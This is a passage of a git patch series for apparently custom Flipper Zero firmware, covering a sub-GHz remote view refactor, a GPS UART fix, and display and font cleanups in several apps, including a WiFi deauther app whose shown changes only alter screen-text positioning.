furi_assert(subrem_view_remote); - with_view_model( - subrem_view_remote->view, SubRemViewRemoteModel * model, { model->state = state; }, true); -} - void subrem_view_remote_draw(Canvas* canvas, SubRemViewRemoteModel* model) { canvas_clear(canvas); canvas_set_color(canvas, ColorBlack); diff --git a/applications/main/subghz_remote/views/remote.h b/applications/main/subghz_remote/views/remote.h index 76121cf8a..ea274fca4 100644 --- a/applications/main/subghz_remote/views/remote.h +++ b/applications/main/subghz_remote/views/remote.h @@ -24,15 +24,9 @@ void subrem_view_remote_free(SubRemViewRemote* subrem_view_remote); View* subrem_view_remote_get_view(SubRemViewRemote* subrem_view_remote); -void subrem_view_remote_add_data_to_show( - SubRemViewRemote* subrem_view_remote, - const char* up_label, - const char* down_label, - const char* left_label, - const char* right_label, - const char* ok_label); +void subrem_view_remote_add_data_to_show(SubRemViewRemote* subrem_view_remote, const char** labels); -void subrem_view_remote_set_presed_btn(SubRemViewRemote* subrem_view_remote, uint8_t presed_btn); void subrem_view_remote_set_state( SubRemViewRemote* subrem_view_remote, - SubRemViewRemoteState state); \ No newline at end of file + SubRemViewRemoteState state, + uint8_t presed_btn); \ No newline at end of file From 46832ff77f2f67a3b4f1a724dc768ade80d20ca6 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 22 May 2023 02:33:43 +0300 Subject: [PATCH 020/100] gps uart stability fix --- applications/external/gps_nmea_uart/gps_uart.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/applications/external/gps_nmea_uart/gps_uart.c b/applications/external/gps_nmea_uart/gps_uart.c index 4e66aa284..ada8f04f9 100644 --- a/applications/external/gps_nmea_uart/gps_uart.c +++ b/applications/external/gps_nmea_uart/gps_uart.c @@ -74,11 +74,8 @@ static void gps_uart_parse_nmea(GpsUart* gps_uart, char* line) { static int32_t gps_uart_worker(void* context) { GpsUart* gps_uart = (GpsUart*)context; - gps_uart->rx_stream = furi_stream_buffer_alloc(RX_BUF_SIZE * 5, 1); size_t rx_offset = 0; - gps_uart_serial_init(gps_uart); - while(1) { uint32_t events = furi_thread_flags_wait(WORKER_ALL_RX_EVENTS, FuriFlagWaitAny, FuriWaitForever); @@ -148,6 +145,8 @@ void gps_uart_init_thread(GpsUart* gps_uart) { gps_uart->status.time_minutes = 0; gps_uart->status.time_seconds = 0; + gps_uart->rx_stream = furi_stream_buffer_alloc(RX_BUF_SIZE * 5, 1); + gps_uart->thread = furi_thread_alloc(); furi_thread_set_name(gps_uart->thread, "GpsUartWorker"); furi_thread_set_stack_size(gps_uart->thread, 1024); @@ -155,6 +154,8 @@ void gps_uart_init_thread(GpsUart* gps_uart) { furi_thread_set_callback(gps_uart->thread, gps_uart_worker); furi_thread_start(gps_uart->thread); + + gps_uart_serial_init(gps_uart); } void gps_uart_deinit_thread(GpsUart* gps_uart) { From ace9e03fe72c921463e94b5570e5fd0753780694 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 22 May 2023 02:54:04 +0300 Subject: [PATCH 021/100] API: Cleanup, mini refactoring of some apps +6k of free flash space --- .../external/esp8266_deauth/esp8266_deauth.c | 18 +- .../external/tetris_game/tetris_game.c | 7 +- .../external/wifi_scanner/wifi_scanner.c | 332 ++++++++++++++---- firmware/targets/f7/api_symbols.csv | 34 +- 4 files changed, 292 insertions(+), 99 deletions(-) diff --git a/applications/external/esp8266_deauth/esp8266_deauth.c b/applications/external/esp8266_deauth/esp8266_deauth.c index fc165b932..07b7886c8 100644 --- a/applications/external/esp8266_deauth/esp8266_deauth.c +++ b/applications/external/esp8266_deauth/esp8266_deauth.c @@ -154,10 +154,8 @@ static void esp8266_deauth_module_render_callback(Canvas* const canvas, void* ct const char* strInitializing = "Something wrong"; canvas_draw_str( canvas, - (u8g2_GetDisplayWidth(&canvas->fb) / 2) - - (canvas_string_width(canvas, strInitializing) / 2), - (u8g2_GetDisplayHeight(&canvas->fb) / - 2) /* - (u8g2_GetMaxCharHeight(&canvas->fb) / 2)*/, + (128 / 2) - (canvas_string_width(canvas, strInitializing) / 2), + (64 / 2) /* - (canvas_current_font_height(canvas) / 2)*/, strInitializing); } break; case WaitingForModule: @@ -170,10 +168,8 @@ static void esp8266_deauth_module_render_callback(Canvas* const canvas, void* ct const char* strInitializing = "Attach WiFi Deauther module"; canvas_draw_str( canvas, - (u8g2_GetDisplayWidth(&canvas->fb) / 2) - - (canvas_string_width(canvas, strInitializing) / 2), - (u8g2_GetDisplayHeight(&canvas->fb) / - 2) /* - (u8g2_GetMaxCharHeight(&canvas->fb) / 2)*/, + (128 / 2) - (canvas_string_width(canvas, strInitializing) / 2), + (64 / 2) /* - (canvas_current_font_height(canvas) / 2)*/, strInitializing); } #endif @@ -188,10 +184,8 @@ static void esp8266_deauth_module_render_callback(Canvas* const canvas, void* ct const char* strInitializing = "Initializing..."; canvas_draw_str( canvas, - (u8g2_GetDisplayWidth(&canvas->fb) / 2) - - (canvas_string_width(canvas, strInitializing) / 2), - (u8g2_GetDisplayHeight(&canvas->fb) / 2) - - (u8g2_GetMaxCharHeight(&canvas->fb) / 2), + (128 / 2) - (canvas_string_width(canvas, strInitializing) / 2), + (64 / 2) - (canvas_current_font_height(canvas) / 2), strInitializing); } } diff --git a/applications/external/tetris_game/tetris_game.c b/applications/external/tetris_game/tetris_game.c index a569f46d4..5752e1fc3 100644 --- a/applications/external/tetris_game/tetris_game.c +++ b/applications/external/tetris_game/tetris_game.c @@ -367,11 +367,8 @@ int32_t tetris_game_app() { // Not doing this eventually causes issues with TimerSvc due to not sleeping/yielding enough in this task TaskHandle_t timer_task = xTaskGetHandle(configTIMER_SERVICE_TASK_NAME); - TaskHandle_t curr_task = xTaskGetHandle("Tetris Game"); - uint32_t origTimerPrio = uxTaskPriorityGet(timer_task); - uint32_t myPrio = uxTaskPriorityGet(curr_task); - vTaskPrioritySet(timer_task, myPrio + 1); + vTaskPrioritySet(timer_task, configMAX_PRIORITIES - 1); ViewPort* view_port = view_port_alloc(); view_port_set_orientation(view_port, ViewPortOrientationVertical); @@ -475,7 +472,7 @@ int32_t tetris_game_app() { view_port_free(view_port); furi_message_queue_free(event_queue); furi_mutex_free(tetris_state->mutex); - vTaskPrioritySet(timer_task, origTimerPrio); + vTaskPrioritySet(timer_task, configTIMER_TASK_PRIORITY); free(newPiece); free(tetris_state); diff --git a/applications/external/wifi_scanner/wifi_scanner.c b/applications/external/wifi_scanner/wifi_scanner.c index 341287b54..9dabc6a90 100644 --- a/applications/external/wifi_scanner/wifi_scanner.c +++ b/applications/external/wifi_scanner/wifi_scanner.c @@ -104,6 +104,238 @@ typedef struct SWiFiScannerApp { uint8_t m_animtaionCounter; } SWiFiScannerApp; +/* + Fontname: -FreeType-Inconsolata LGC-Bold-R-Normal--36-360-72-72-P-176-ISO10646-1 + Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Emboldened by MihailJP. Some glyphs modified by Greg Omelaenko, using FontForge. + Glyphs: 95/658 + BBX Build Mode: 2 +*/ +const uint8_t u8g2_font_inb27_mr[4414] = + "_\2\5\4\5\6\1\4\6\26%\0\370\33\371\35\371\5e\13\313\21! \13\266\14\366\207\377\377\377" + "\20\0!\30\266\14\366\7`\310\22\353E\42\351\177r|(\220h\240-\222\17\37\42%\266\14v\37" + "d,\62\310\42\203,\62\310\42\203,\62\310\42\203,\62\310\42\203,\62\310\42\203|\370\377\307\1#" + "M\266\14\366\7u\220\261\310 \213\14\262\310 \213\14\262\310 k\20b\36 \343\1\62\36 \3;" + "d\220E\6Yd\220\65\10Y\203\220\365\306\3c<@\306\3\344\220A\26\31d\221A\326 d\15" + "\62\330 \203\15\62\26!\343\303\63\0$A\266\14\366\7\200H\352\251\325\320;$\220P\14\21d\210" + "C\4\31\1\21AX\11\244e.\271\325\64F\202YD\224E\6Yd\20\23\10\31\244\214AD!" + "&\220P\314Cm\251G$\365\341\42\0%I\266\14\366\7\261\34RN!%\21B\226 \205\14\42" + "H!\203\4b\310H\346!\227N \253\204\22I,\221\222d\10F\302Q\15\221\220N\32\304\220@" + "\6)%\220A\12\21d\20R\304\42\204$R\312)\344\224\17/\3&F\266\14\366\7\264\274\304\326" + "b\251\214\222H!\211\24\222H!\212\14\262\310 \214\4\322\220;\16\65E\302!\202\220A\250A\221" + "\22\310 &\15r\16!\250\224bL)\5\225\7Fa\241\224\64\310\61F|x\30\0'\17\266\14" + "\366\7aH\372\357\303\377\177\1\0((\266\14v\14sD\363\216\63\317@\22\13,\221\304\22\211$" + "\261D\42\351\223ER\262\304\42K,\262\212v\261L\241\1)$\266\14\266\26\263D\233\254\305\42K" + ",\222\310\42\351_$\222\304\22I,\260\304\2\313\263\301\22\307\7\7\0*/\266\14\366\207\207\210\244" + "\261PH\11\205\14\62F\61a\10C\36\30\306\261\2\317C\215\10\262\310(\251\20\202\212!h\234\261" + "\2\12\37\376,\0+\33\266\14\366\207\207\210\244\267\36\30\344\201A\36\30\344\201\261\210\244\337\207\277\14" + "\0,\30\266\14\366\207\377\377\300\220%\32hI\42\307\34rH\42\7\15\15\0-\26\266\14\366\207\177" + "\352\201`\36\10\346\201`\36\10\37\376\277\4\0.\21\266\14\366\207\377\377\0\211\6\332\42\371p\22\0" + "/.\266\14\366\33\223\304\22I,\221H\22\211$\221H\22\211$\221H\22K$\261D\22K$\261" + "D\42I$\222D\42\211\34\65|x\17\0\60I\266\14\366\7\266<\324\324b\251\220\202\210!\247\230" + "b\310)\206\30SJA\204\24\22\10!e\10B\10\31\203\20\62(B\306 \224\30\205\20\22\206!" + "\4\31R\214)\245\34b\312!\247\224r\12)\211-\325\20,\37^\7\61\26\266\14\366\7\226@\363" + "NKL\265!\210\244\377\377\367\341y\0\62'\266\14\366\7\325\70\265Xr\247\24s\306)($\42" + "i\261D\22\13\254\277H\311g\36\10\346\201`\36\10\37\36\6\63-\266\14\366\7\324\70\265Xri" + "\230\222\2\42\222\26\313\63,\265\363RS\261\310\42i) \202\304)\207\224r\36jj\265\363\341y" + "\0\64\65\266\14\366\7\232H\22\13\264\336q\310\215@\32\11\204\21A\330\30d\221A\24!$\221B" + "\22)\4\21C\316\3\203<\60\310\3\203<\60\36\221\364}x\32\0\65*\266\14\366\7\361\235\337!" + "\222N\20\306TK\16\25b\316\70%\5T$\275#P)\4\21cJ\61\17\265\245\234\371\360:\0" + "\66>\266\14\366\7\327\70\265Xj\250\224\221\310\11\211H\22K$\243(\22\22z\347\201`L)\246" + "\234R\10*\205$RH\42\205$R\12\42\206\234b\212!\250\220\202\232b+=\363\341q\0\67-" + "\266\14\366\7\360\201`\36\10\346\201`\236$\261D\22K$\222\304\22I,\221H\22K$\222\304\22" + "I\254\42\211U$\261|\370\4\0\70;\266\14\366\7\325\70\265Xj\250\224r\212!\207\356\24C\20" + ")$\225Q\324b\251)U\204I\244\224C\31\202J!\211\24\222H!\211\224r\212)\245\234\207\232" + "Z\355|x\35\0\71\71\266\14\366\7\265\274\304\326b\251\220\202\210!\247\230b\10\42\206 b\10\42" + "\206 b\312\241L\71\205\30\344\251\23\10\33\203H\42\207$*\34\222D)\251%\266\322+\37>:" + "\27\266\14\366\207\77A\242\201\266H>|\210D\3m\221|\70\11\0;\34\266\14\366\207\77A\242\201" + "\266H>|\210D\3\255X$\221C\222HM\361\1\1< \266\14\366\207\271\60G,\357\264\304\360" + "\265\363J<\20\301\23/\210\301\3\215$T|\370\25\0= \266\14\366\207\317=\60\310\3\203<\60" + "\310\3\343\303\352\3\203<\60\310\3\203<\60>\374g\1>\36\266\14\366\207\266\240D\32\210\37<\261" + "\274\323\20\303\332\325P;\257\304\61\305\207\277\6\0\77%\266\14\266\67N\251\206\236\61\245\34r\312\21" + "\211H*\226Hb\201u\221H\352C\226D\3m\221|x\36\0@G\266\14\366\7\266\274\264\32r" + "\247\230b\10\42\205(B\306Ad\24\65\6ac\20\66\306(\204\214\61H!c\14R\310\30\203\24" + "\62\306\250\306\30m\220\301\310 \213\20R\2!d\222YNH.\265\245\234\371\360\70\0A<\266\14" + "\366\7\67PA\307\34\262\304\2\15<\357\70\22H#\201\264!\10#\203,\62\310\32e(RHj" + "\311\235\357\220S\12I\244\220T\6Yd\220E\6Y%\220F><\13\0BD\266\14\366\7\217)" + "\207\36\10\346\201`\310\61\205\240RH\42\205$RH\42\205\240R\310)\346\201`\336\371@\60\4\225" + "BR!D\21B\24!D\21B\24!$\25B\220!\17\210\362@\60\357\264\17\217\3C/\266\14" + "\366\7\327\264\245\32z\306\24S\312)\244$B\210\22\206\304\22\211\244'K,\222\310\22\213\12\247\240" + "a\214)\346\241\246V\63\37\36\7DC\266\14\366\7o\255\226\336y\207\30c\10*\205\240RH\42" + "\205\244B\210\42\204(B\210\42\204(B\210\42\204(B\210\42\204(B\210\42\204\244BH\42\205\240" + "R\10\42\206\30c\336q\250\245\365\341y\0E'\266\14\366\7\357\1Q\36\20\345\1Q\36\20\205H" + "\372\344;\277C$\375\344\3\242< \312\3\242< ><\14\0F\35\266\14\366\7\360\201`\36\10" + "\346\201`\36\10\206H\372\244C>D$\375\357\303W\0G:\266\14\366\7\326\70\245\32z\306\24S" + "\312)\244$a\210$\261D\42i&\15b\322 &\15b\322(\212\20\242\10!\212\220\222H)\210" + "\24c\212y \34\227\30;\37\36\7HM\266\14\366\7\217$RH\42\205$RH\42\205$RH" + "\42\205$RH\42\205$RH\42\205$R\36\20\345\1Q\36\20\345\1QH\42\205$RH\42\205" + "$RH\42\205$RH\42\205$RH\42\205$RH\42\205$\362\341a\0I\24\266\14\366\7\320" + "!_#\222\376\377k\357\374>\274\14\0J\33\266\14\366\7\264\245\236#\222\376\377\222\60%\215BR" + "S\213\245W>|\1\0KI\266\14\366\7\257\244\62H*\204\240R\310)\206\230rH)\210\24\222" + "\10!\212\14\262\210(\213\204\302RKM\261\22\312\42\203,\62\212\42\244$RH\42\245 b\312!" + "\247\30r\212!\250\24\222\12!\251\20\242\312\207g\1L\32\266\14\366\7\260D\42\351\377\377\311\7D" + "y@\224\7Dy@|x\27\0MU\266\14\366\7\217,\62\310\42\243\244\62J*\303\34\63\314\61" + "\343\224\63N\71\3\33$\214\61\2\31$\320\6\21#\14A\6\21#\14A\6\31eP\243\14\32!" + "\203\220A\310 \213\14\262\310 \213\14\262\310 \213\14\262\310 \213\14\262\310 \213\14\262\310\207g\1" + "NS\266\14\366\7\217(BJ\42\244$B\14\42\304 B\316!\344\34B\220!\204\4R\10!\201" + "\24B\210 \204\22\204P\203\42dP\204\22\204P\202\20RH \204\230\21\10!\6\21r\16!\347" + "\20\202\14!\310\20\222\12!\251\20\242\10!\212|x\27\0OC\266\14\366\7\325\70\265Xr\247\224" + "r\310)\245 RH*\204(\62\212\42\203,\62\310\42\203,\62\310\42\203,\62\310\42\203,\62\212" + "\42\204(BH*\244 b\310)\246\224\202\134bK\71\363\341u\0P\60\266\14\366\7\257\245w\36" + "\10\346\1Q\10*\205\244B\210\42\204(B\210\42\204(BH*\204\240R\36\20\345\201`\34b\212" + "H\372\357\303g\0QJ\266\14\366\7\325\70\265Xr\247\224r\310)\245 RH*\204\244\62\212\42" + "\203,\62\310\42\203,\62\310\42\203,\62\310\42\203,\62\212\42\204\244BH*\244 b\310)\246\224" + "\202\134b+\271\23\211$R\265\344\20\64\37@\0RC\266\14\366\7\217)\207\336y \30rL!" + "\250\24\222H!\211\24\222H!\211\24\202J!\247\230\7\202y\307!\246H!\211\24\222H)\210\30" + "\202\210)\207v\212!\210\30\202J!\211\24\222\312\207w\1S\61\266\14\366\7\365\264\245\32z\207\230" + "\12\211C\222\70DV\321D\364\262\207\242\221ER&,b\302\42e\244B\214)\345\1a^b\354" + "|x\35\0T\27\266\14\366\7\356\1\62\36 \343\1\62\36 \212H\372\377\377>|UH\266\14\366" + "\7\257$B\210\42\204(B\210\42\204(B\210\42\204(B\210\42\204(B\210\42\204(B\210\42\204" + "(B\210\42\204(B\210\42\204(B\210\42\204(B\210\42\244\240B\12*\245\230b\36rJ\71\363" + "\341u\0V>\266\14\366\7\216\60\42\10#\203(B\210\42\204(R\10\42\206 b\10\42\207\30\202" + "\210!\210\30\222H\31\212\20\242\10!\213\214\301\210 \214\10\322H\30\16{\6Z\221H\42\7\25\37" + ">W\134\266\14\366\7n\22\303\15A\212(D\220\62\10\21\244\14B\4!\204\214A\10!\23)c" + "\20\62\312\30\204\10\63\6!\302\10B\210\70\201\20\42N\30f\204!F\30\346\210\21\206\71\342\230#" + "\216\61\304\30C\12*\244\240B\12\42\206 b\10\42\206\240q\206\22H(\201\304\207\247\1XB\266" + "\14\366\7\217(BH\42\206 b\212!\210\224\202\12!\212\214\242\212 \214\204\302\222;\320\300\22K" + "\64\357<\324\24#\202,\62\212\42\204$R\12\42\206\34rJ)\210\24\222\312(\252|x\26\0Y" + "\60\266\14\366\7\216\254\42\212\42\204\244B\12\42\206 b\212!\210\30\202\12!\212\20\242\212 \214\10" + "\322H\30\16\275\363L,\221H\372\357\303\363\0Z\63\266\14\366\7\360\1Q\36\20\345\1Q\36\10\222" + "D\22K\244b\211$\226H\305\22I,\260D\22\13,\261\300\22\37\20\344\201A\36\30\344\201\361\341" + "]\0[\23\266\14\366n\251\227\210\244\377\377\77\331R\357C\10\0\134+\266\14\66\21\262H\42\213$" + "\262H\42\213$\262Hj\22I&\221d\22Id\221D\26Id\221D\26IM\42\311\14\37\36\1" + "]\20\266\14vn\251'\351\377\377_\352\373\220\2^!\266\14\366\7WL\42I\64\357<\324\210 " + "\213\14\262\10!\211\24\222\210!I\34\361\341\377\17\2_\26\266\14\366\207\377\377\247\36 \343\1\62\36" + " \343\1\362!\3\0`\33\266\14\266\11UPA\307$\222\310\22\213,\261\310\42\251\71Q\361\341\377" + "g\0a\60\266\14\366\207\217\236\266\222C.\15S$\325Rj\347\231\7\202)\207\224\202H!\211\24" + "\202J)\345\230\7\202y \34\25H\62\203|x\30\0b;\266\14\66.\221H\372\215\242HH\350" + "\235\7\202\61\305\224rJ!\251\20\222\12!\212\20\242\10!\212\20\242\10!\212\20\222\12)\210\24c" + "Jy \230w\206Hh\220\362\341u\0c(\266\14\366\207\257\32\247\224;\17\4S\225\202\206!I" + "\230\22\211\244\311\42\211,H\240b\310y \34\247\224\63\37\36\7d;\266\14\366\7\207H\372\251\62" + "\10J\201\234g\36\10\245\30S\10*\244\240BH*\204(B\210\42\204(B\210\42\244\240B\12*" + "\245\234R,\363@\70\17\245@T\31\344\303\273\0e,\266\14\366\207\217\236\266TC\317T\206 b" + "H\42\344\201A\36\30\344\201A\36\30\204H\42\253\24\216\61\344<\344\322r\346\303\343\0f\35\266\14" + "\366\7\302\70\265Xj\250\230\201\312\11\211H\312\71\344cD\322\377\367\341\23\0g=\266\14\366\207o" + "\26R\314\3\241< \10!j\224R\16}\247\224r\314(\251\251\265\324\42a\64\42[z \234\7" + "\202y@\20\222\312 \213\14\262\310(\251\214\7Fy \34\267\220\7h<\266\14v.\221H\372\215" + "\242\210@\210\4u\336\71\244\30c\210)\207\30\202\210!\210\30\202\210!\210\30\202\210!\210\30\202\210" + "!\210\30\202\210!\210\30\202\210!\210\30\202\310\207\207\1i\30\266\14\366\7`\310\22+\71>$S" + "\313I\372\277\326R\357\303\323\0j\37\266\14\366\7d\310\22+\71>\364\230\342I\372\377\227\204)\210" + "\220\202\134bK\71\363A\0k\71\266\14v.\221H\372\241R\310)\206\230rH)\210\220\222\310(" + "\212\210\262H(Lck\25Q\24!%\221R\20)\5\21S\16\71\305\20T\12A\206\220d>\274" + "\12\0l\21\266\14vVL'\351\377\377\330;\277\17/\3m@\266\14\366\207\257\221PF!+\234" + "\361\0\31\17\24QF\21\325 \204\10B(A\10%\10\241\4!\224 \204\22\204P\202\20J\20B" + "\11B(A\10%\10\241\4!\224 \204\22\204P\37\236\5n:\266\14\366\207\357\221Q\24\21\10\275" + "\363\316!\305\224CL\71\304\20D\14A\304\20D\14A\304\20D\14A\304\20D\14A\304\20D\14" + "A\304\20D\14A\304\20D><\14\0o\62\266\14\366\207\257\32\247TC\357\224bJ\71\245\220T" + "FIe\220E\6Yd\220E\6Yd\24E\10I\244\224SL)\306<\324\324r\346\303\343\0p" + "=\266\14\366\207\317\221Q\24\11\11=\20\314\3\301\230bJ\71\245\220T\10I\205\20E\10Q\204\20" + "E\10Q\204\20E\10I\205\24D\212\61\245<\20\314;$$DFQD\322\367\301\1q\71\266\14" + "\366\207\217\32AP\12\344<\363@(\305\230BP!\5\25B\24!D\21B\24!D\21B\24!" + "%\221BP)\345\224b\231\7\302y(\5\242\312 \222~\30\0r\37\266\14\366\207\17\22R\22\21" + "\351<\20\314\3\301\34#\216\71\342\224X\42\221\364\277\17\37\1s,\266\14\366\207\217\232\306\222C\317" + "\24C\16A\343\24\24R\211\351)\227\340\221\305\10E\214P\244\224S\312\3\341\270\304\332\371\360:\0" + "t\35\266\14\366\207\234\220\364\332;\277E$\375\223\305\4U\212XL\261\245\232\371\360\66\0u;\266" + "\14\366\207\317\221D\12I\244\220D\12I\244\220D\12I\244\220D\12I\244\220D\12I\244\220D\12" + "I\244\220DJ\71\245\224SL)\306<\20\316C)\20U\6\371\360\60\0v\63\266\14\366\207\257\25" + "E\10Q\204\20E\12I\303\20DL\71\3\21C\20\61$\221\62\24!D\21\62\30\21\204\21A\32" + "\11\303!w\240\201E\22\71>|wH\266\14\366\207\217Q\202\60\42H\31\204\214Q\6!c\224A" + "\310 \243\14j\224A\215\62F\31\303\210Q\206\30a\210QH\230\304($Lb\24\22\204@\306\14" + "s\314\60\307\14sJ)\247\224\202H!\211\24\362\341i\0x\63\266\14\366\207\317\221DJ\71\305\24" + "C\20)D\221QT\21\204%\207\334\201%\232w\36j$\224U\4Q\205\220DJ\71\305\224R\20" + ")$\225\17\357\2y<\266\14\366\207\317\225T\10I\244\220DJA\304\220CC\304\20D\12I\205" + "\20E\310Xd\20F\4aD\14\67\2q\347\35h`\221T$,\24\262\4!L-\325\320+\37" + "\24\0z&\266\14\366\207\357=\20\314\3\301<\20\314\213$\26X\213$\26X\27\13|@\220\7\6" + "y`\220\7\306\207w\1{$\266\14\366\7\342\264\304\324Z\253\300\22\211\244_$\357<\3\15<\262" + "H\372'K,r\255\305\224C\32\0|\16\266\14\366\7\200H\372\377\377\377\357\3}#\266\14\266\66" + "\20\271\324\224,\222\376d\221d\36h\336q\310\221H$\375\213e)\246Xj\347\3\1\0~\31\266" + "\14\366\207/\232\23\214\42d<\60\306\3\303\210\202`\371\360\377\303\0\0\0\0\4\377\377\0"; + +/* + Fontname: open_iconic_arrow_2x + Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE + Glyphs: 28/28 + BBX Build Mode: 0 +*/ +const uint8_t u8g2_font_open_iconic_arrow_2x_t[644] = + "\34\0\4\4\5\5\4\4\6\20\20\0\0\16\0\16\0\0\17\0\0\2g@\17\352i\302$P\376\221" + "\12\64\246\310\11\2A\22O%\303\24Z\360X\242\17^\20\36-<(\0B\22O!\303\32\134\364" + "`\22\17\236\222\35,:\20\0C\17\352)\302$\216\224\31\24\212\4\312\77\2D\37\20\42\302eP" + "\25!\62\205\212\24*a\210#\304E\17\222 F\244P\231\42\245\24\232\2E \20\42\302ePU" + "\11\63E\216\220\71Ah-a\302e\15\241 s\244\310\231\22\246\24\232\2F\37\20\42\302eP\225" + "\211\62G\212\234!\201\310laj\27\221\70C\344H\31\23\245\24\232\2G\37\20\42\302ePU\221" + "\62\205\212\20#A\360haD\34\231(T\244P\31B\244\24\232\2H\21\12.\302C\214\376\215\212" + "$\207\212\15\14\4\0I\23P\341\302\25\134\364`\27\17\36\204xBz\270P\0J\23P\341\302*" + "|\64\221\27\17\36\204px \0U\23\20\42" + "\302\360\201x\230\212&k\22\235J\302\364\14\0V\34\320\241\302\34\36\200\30\27/\204\12\21\32\36\302" + "\240B\204\212x\341F<\200\300\0W\32\220\241\302&\230\354hq\202\304\221\21\306L\14\71A\342D" + "\217%,\14\0X\37\20\42\302\302\210\221@A\2\205K$\314\210\70\42\344\204\30\23$\134BA\2" + "\5q\2\0Y$\17\42\302\34\134\304\270TF\306\214\20\64bH\260\262\203\211\226\34\42$\320\230\21" + "\42H\245+,:\10\0Z\30\220!\303\32\36\200\360\321\4S\61\351\206\324 q\202\4\206\12\17\0" + "[\34\320\241\302`\324X\30q&D-J!&\211\230`a\204\313P\220@A\34\1\0\0\0\4" + "\377\377\0"; + +/* + Fontname: -Adobe-Courier-Bold-R-Normal--11-80-100-100-M-60-ISO10646-1 + Copyright: Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved. + Glyphs: 18/873 + BBX Build Mode: 0 +*/ +const uint8_t u8g2_font_courB08_tn[199] = + "\22\0\3\3\3\4\2\3\4\6\11\0\376\6\376\7\377\0\0\0\0\0\252 \5\0\353\0*\11$\357" + "\212P$\241\0+\12-\353\12\206J\301\20\0,\7\233\345\221$\1-\5\15\357(.\5\212\351\20" + "/\14\304\347K\212\205b\241X\14\0\60\12=\351\231Hx\221L\0\61\10>\351\22\21u\62\62\11" + "=\351\231\250\211\264\34\63\14=\351\231\250I\206\24\311\4\0\64\14>\351\223\215\42ZlB\11\0\65" + "\12=\351\270Q\324F\26\0\66\14=\351\231Hh\24\11E\62\1\67\13=\351\270\310D\62\221L\4" + "\70\15=\351\231H(\222\211\204\42\231\0\71\14=\351\231H(\22\32E\62\1:\6\242\351\20\12\0" + "\0\0\4\377\377\0"; + +/* + Fontname: -Misc-Fixed-Bold-R-Normal--13-120-75-75-C-70-ISO10646-1 + Copyright: Public domain font. Share and enjoy. + Glyphs: 95/1003 + BBX Build Mode: 0 +*/ +const uint8_t u8g2_font_7x13B_tr[1083] = + "_\0\3\3\3\4\3\5\4\6\15\0\376\11\376\11\0\1}\2\330\4\36 \5\0\356\7!\7J\303" + "\307\241D\42\10\235\332\207\204E\0#\20\315\302OR$r\230\244\34&I\221\10\0$\17N\302\227" + "\214\22\321F\223\250Dh\42\0%\17N\302\307H\22\251\4e\212\221JD\64&\17N\302\317H\242" + "\247\221$\62\251\210&\1'\7\42\327\307!\0(\14\314\302\227D$\21\251\211d\2)\15\314\302\207" + "L$\23\251\210$\42\0*\15\66\306O(&:\224d\241\10\0+\13\66\306\227Pt(\11E\0" + ",\10\244\276\317\212\22\0-\6\16\316\207\1.\10\234\276\217\204\42\1/\14N\302\247\232P\246(\23" + "\12\1\60\16N\302\227,\24\21\361$\11\305D\0\61\13N\302\227l\24\21\352\311\0\62\16N\302\17" + "ED\22\212F\62\241\320\0\63\15N\302\207Q\246F\25\222$\24\0\64\15N\302\247lD\221\220H" + "\207\240\2\65\16N\302\307!(\254\210\204B\222\204\2\66\16N\302\17ED\24VDL\22\12\0\67" + "\15N\302\207QM(\23\312\204\62\0\70\16N\302\17E\304$\241\210\230$\24\0\71\16N\302\17E" + "\304$)\12I\22\12\0:\14\304\276\217\204\42\207I(\22\0;\13\304\276\217\204\42\236L\224\0<" + "\10N\302\247LW\35=\7&\312\207\35j>\11N\302\207T\67\35\1\77\16N\302\17ED\22\212" + "fr\230P\4@\17N\302\17%\266R\211L\252\61\11\5\0A\13N\302\17E\304t\30q\22B" + "\14N\302GE\304t\21\61]\0C\13N\302\17ED\324\223\204\2D\12N\302GE\304O\27\0" + "E\13N\302\307!\250X\21*\32F\13N\302\307!\250X\21j\4G\14N\302\17EDT)\61" + "I\12H\13N\302\207\210\323a\304I\0I\11N\302\207I\250O\6J\12N\302\247>\222$\24\0" + "K\17N\302\207lD\221\220f$\211\22-\0L\10N\302\207P\77\32M\13N\302Gpt\70\210" + "x\22N\15N\302\207\210T\251\34&M$\1O\13N\302\17E\304O\22\12\0P\13N\302GE" + "\304t\21j\4Q\14V\276\17E\304S\205\62\241\12R\15N\302GE\304t!I\224h\1S\16" + "N\302\17ED\224R\205$\11\5\0T\11N\302\207I\250\237\0U\12N\302\207\210\77I(\0V" + "\15N\302\207\210I\22\312D\23*\1W\13N\302\207\210\247\303A\64\14X\17N\302Gp$\11\205" + "h\62R\212h\30Y\14N\302\207\210$!\321\204:\1Z\12N\302\207QMG\241\1[\10\314\302" + "\207I\237\10\134\14N\302\207P*\224*J\205\2]\10\314\302\7I\237\14^\11&\326\227\214\42\32" + "\6_\7\26\276\307\241\0`\7\234\336\207L\1a\12\66\302\17Ur\42I\12b\13N\302\207P\261" + "\42\342t\1c\13\66\302\17EDT\222P\0d\12N\302\247\226\23'I\1e\14\66\302\17Et" + "\30\212$\24\0f\14N\302\327H\242(\243\11\265\1g\16F\272\317\22IB\221RD\22\12\0h" + "\13N\302\207P\261\42\342I\0i\12N\302\227P\16\32\352dj\14^\272\247:L\250#IB\1" + "k\15N\302\207P\23EB\42I\224\4l\10N\302\317P\77\31m\12\66\302\207Dr\70\61\11n" + "\11\66\302GE\304\223\0o\12\66\302\17E\304IB\1p\13F\272GE\304t\21*\2q\12F" + "\272\317\211IR\324\0r\11\66\302GED\324\10s\15\66\302\17E$\21KD\22\12\0t\14F" + "\302\217PV\22j\21M\0u\11\66\302\207\210'I\1v\13\66\302\207\210IB\242\211\0w\13\66" + "\302\207\210\351p\11E\0x\14\66\302\207\210$!QD$\1y\14F\272\207\210\223\244H\222P\0" + 